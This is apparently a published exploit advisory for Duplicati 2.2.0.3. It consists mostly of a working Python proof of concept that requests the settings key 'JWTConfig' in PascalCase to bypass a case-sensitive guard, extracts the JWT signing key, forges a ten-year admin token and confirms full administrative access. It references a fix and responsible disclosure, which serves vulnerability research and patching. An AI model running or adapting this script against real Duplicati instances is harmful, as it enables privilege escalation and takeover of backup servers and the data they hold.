# Exploit Title: Duplicati 2.2.0.3 - JWT Signing Key Leak Bypass leading to Token Forgery # Date: 2026-06-23 # Exploit Author: Gabriel Rodrigues TEXUGO from HAKAI # Vendor Homepage: https://www.duplicati.com # Software Link: https://github.com/duplicati/duplicati # Version: <= 2.2.0.3 (commit 6ad921166 and earlier) # Tested on: Duplicati 2.2.0.3 (Docker) + Duplicati master branch # CVE: Pending (researcher assigned) # References: # - https://github.com/duplicati/duplicati/pull/6787 (fix) # - Responsible disclosure to maintainer Description: Duplicati exposes the JWT signing key through a case-sensitive guard bypass in the settings endpoint. A GET request to /api/v1/serversetting/JWTConfig (PascalCase) bypasses the guard check for "jwt-config", allowing any authenticated user to retrieve the secret. With the extracted SigningKey, Authority and Audience, an attacker can forge a long-lived admin token that grants full administrative access to the application. import json, sys, time, requests, jwt PROXIES = None if "--proxy" in sys.argv: proxy = sys.argv[sys.argv.index("--proxy") + 1] PROXIES = {"http": proxy, "https": proxy} requests.packages.urllib3.disable_warnings() def login(url, password): r = requests.post(f"{url}/api/v1/auth/login", json={"Password": password, "RememberMe": False}, proxies=PROXIES, verify=not PROXIES) r.raise_for_status() return r.json()["AccessToken"] def get_setting(url, token, key): r = requests.get(f"{url}/api/v1/serversetting/{key}", headers={"Authorization": f"Bearer {token}"}, proxies=PROXIES, verify=not PROXIES) return r.status_code, r.text def forge_token(jwt_config): now = int(time.time()) return jwt.encode({ "typ": "AccessToken", "sid": "web-api", "fam": "temporary", "nbf": now, "exp": now + 10 * 365 * 86400, "iss": jwt_config["Authority"], "aud": jwt_config["Audience"], }, jwt_config["SigningKey"], algorithm="HS256") def main(): url, password = sys.argv[1], sys.argv[2] token = login(url, password) status, _ = get_setting(url, token, "jwt-config") print(f"GET /serversetting/jwt-config -> {status} (blocked by guard)") status, body = get_setting(url, token, "JWTConfig") print(f"GET /serversetting/JWTConfig -> {status} (guard bypassed)") jwt_config = json.loads(body) if isinstance(jwt_config, str): jwt_config = json.loads(jwt_config) print(f" SigningKey: {jwt_config['SigningKey']}") print(f" Authority: {jwt_config['Authority']}") print(f" Audience: {jwt_config['Audience']}") forged = forge_token(jwt_config) print(f"\nForged token: {forged}") status, _ = get_setting(url, forged, "AllowedHostnames") print(f"Verify forged token -> {status}") if status == 200: print("RESULT: Forged token accepted, full admin access achieved") if __name__ == "__main__": main()